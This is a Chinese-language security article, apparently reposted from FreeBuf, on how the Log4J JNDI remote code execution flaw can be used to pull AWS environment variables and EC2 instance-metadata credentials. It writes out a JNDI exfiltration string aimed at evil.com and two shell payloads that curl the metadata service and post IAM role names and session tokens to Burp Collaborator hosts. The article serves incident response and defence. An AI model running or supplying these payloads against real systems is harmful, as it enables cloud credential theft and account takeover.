技術分析：Log4J JNDI 遠程執行代碼漏洞在云上環境中的獨特影響
寫在前面的話-Log4J對云環境意味著什么？
就在不久之前，Log4J Java庫被爆出了一個關鍵安全漏洞，該漏洞一經曝光，很多安全專家和技術人員都不得不加班加點去解決這個安全漏洞所帶來的影響。Log4J JNDI漏洞與其說是單個漏洞，不如說是一個通過遠程代碼執行發起攻擊的平臺。
到目前為止，根據我們收集到的信息來看，各大廠商的安全事件響應人員、安全分析人員和技術工程師們主要都在通過以下快速響應步驟進行漏洞的緩解工作：
1、識別受影響的系統并推出發布程序；
2、迅速修復憑證安全問題；
3、尋找入侵威脅指標IoC；
那么在這篇文章中，我們將主要針對時間響應過程中的第三步步驟，即尋找入侵威脅指標IoC來進行介紹，并跟大家討論Log4J庫的潛在受攻擊風險，尤其是在公共云環境中部署時可能會遇到的安全風險。
網絡攻擊者是如何利用Log4J漏洞的？
Log4J從根本上說是一個注入漏洞，并且可以有兩種途徑來利用該漏洞對目標系統執行攻擊：
1、通過外部Java類文件實現遠程代碼執行
首先，Log4J日志記錄框架中存在注入漏洞，因此有可能引發目標服務器向遠程服務器發出HTTP請求，而此時的目標服務器則會希望從遠程服務器獲得返回的Java類文件。
其次，當攻擊者能夠控制遠程外部服務器時，他們就能夠控制響應中返回給目標服務器的內容。在這種場景下，攻擊者就可以將任意代碼嵌入在Java類文件中，然后返回給目標服務器，并在目標服務器上得到執行。
2、通過DNS查詢實現數據提取
由于Log4J中存在注入漏洞，將導致目標服務器可以向外部服務器進行出站查詢。當攻擊者能夠控制外部服務器的主機名時，就會造成環境變量值發生泄漏。
樣例如下：
${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}下圖顯示的是攻擊者發動Log4J JNDI攻擊的大致流程圖：
Log4J漏洞對云環境部署有何獨特影響？
根據研究人員的分析發現，如果目標系統上部署有一個易受攻擊（即存在漏洞）的Log4J庫時，攻擊者就能夠通過DNS查詢機制并利用數據提取技術來檢索目標系統上的任何環境變量值。比如說，在很多攻擊活動中，我們就發現攻擊者會利用這種技術從AWS環境中提取特定的AWS配置變量和相關數據。
但是，在環境變量中設置敏感信息很明顯是一種糟糕的做法，這種場景也不太可能發生在AWS最大的攻擊面-EC2實例上。
AWS特定的環境變量可能會設置在終端節點上，也就是終端用戶配置awscli的工作站上，或者也有可能在運行時預先配置變量“AWS_ACCESS_KEY_ID”、“AWS_SECRET_ACCESS_KEY”和“AWS_SESSION_TOKEN”的lambda函數中。
因此，AWS特定的環境變量就不太可能在EC2實例中找到了。相反，在AWS EC2實例上運行的應用程序將使用分配給EC2實例的EC2實例配置文件的臨時憑證數據。這些臨時憑證數據由稱為實例元數據服務（IMDS）的內部HTTP節點頒發。因此，我們可以使用Log4J漏洞從EC2實例中提取這些憑證數據。
使用遠程代碼執行提取實例元數據憑證
通過利用Log4J漏洞，網絡攻擊者可以嘗試從C2實例中提取臨時會話憑證，并對目標AWS資源采取進一步的攻擊行動。在下面的例子中，我們將演示Payload可能的攻擊路徑：
第一步：注入JNDI Payload，讓目標EC2查詢內部實例元數據API，并獲取EC2運行時使用的IAM角色，然后將角色名稱保存到文件中并返回給攻擊者控制的節點。
第一個發送給運行IMDSv1的EC2實例的Payload：
/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'
第二步：拿到角色名稱之后，注入另一個JNDI Payload，并控制目標EC2查詢內部元數據API以獲取一個臨時會話令牌，將令牌保存為文件之后，將文件的內容返回給攻擊者控制的節點。
第二個發送給運行IMDSv1的EC2實例的Payload：
/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'
第三步：向目標EC2發送最后一個Payload，并控制其刪除之前兩步注入操作中創建的臨時文件。
提取的會話令牌的默認TTL為1小時。攻擊者可以利用這段時間對AWS資源采取行動，就好像它們是EC2實例一樣，甚至可能執行持久性技術，如創建新用戶或角色，具體的影響完全取決于分配給EC2實例的權限。
另一種通過Log4J提取IMDS證書的方法
從EC2實例上的實例元數據服務中提取憑據的潛在方法多種多樣，攻擊者可以利用各種Payload并通過使用HTTP查詢內部服務以檢索憑據。Payload可以通過如上所述的兩個步驟來傳遞，或者濃縮成一個步驟。可以傳遞一個Payload，讓這個Payload存儲實例元數據服務對環境變量的響應，其中環境變量的值是通過輔助JNDI注入提取的。在所有可能的變體中，唯一一致的一個步驟是必須向EC2實例上運行的實例元數據服務發出HTTP請求。
總結
攻擊EC2實例元數據API并不新穎，云安全研究人員也一直在描述和介紹針對這種服務的濫用行為。這不是一個“新錯誤”，而是Log4J漏洞對云計算影響的新表述。雖然這篇文章專門針對針對AWS環境的威脅，但所有相同的原則在任何GCP或Azure環境中都適用。
參考鏈接
本文作者：Alpha_h4ck， 轉載請注明來自FreeBuf.COM
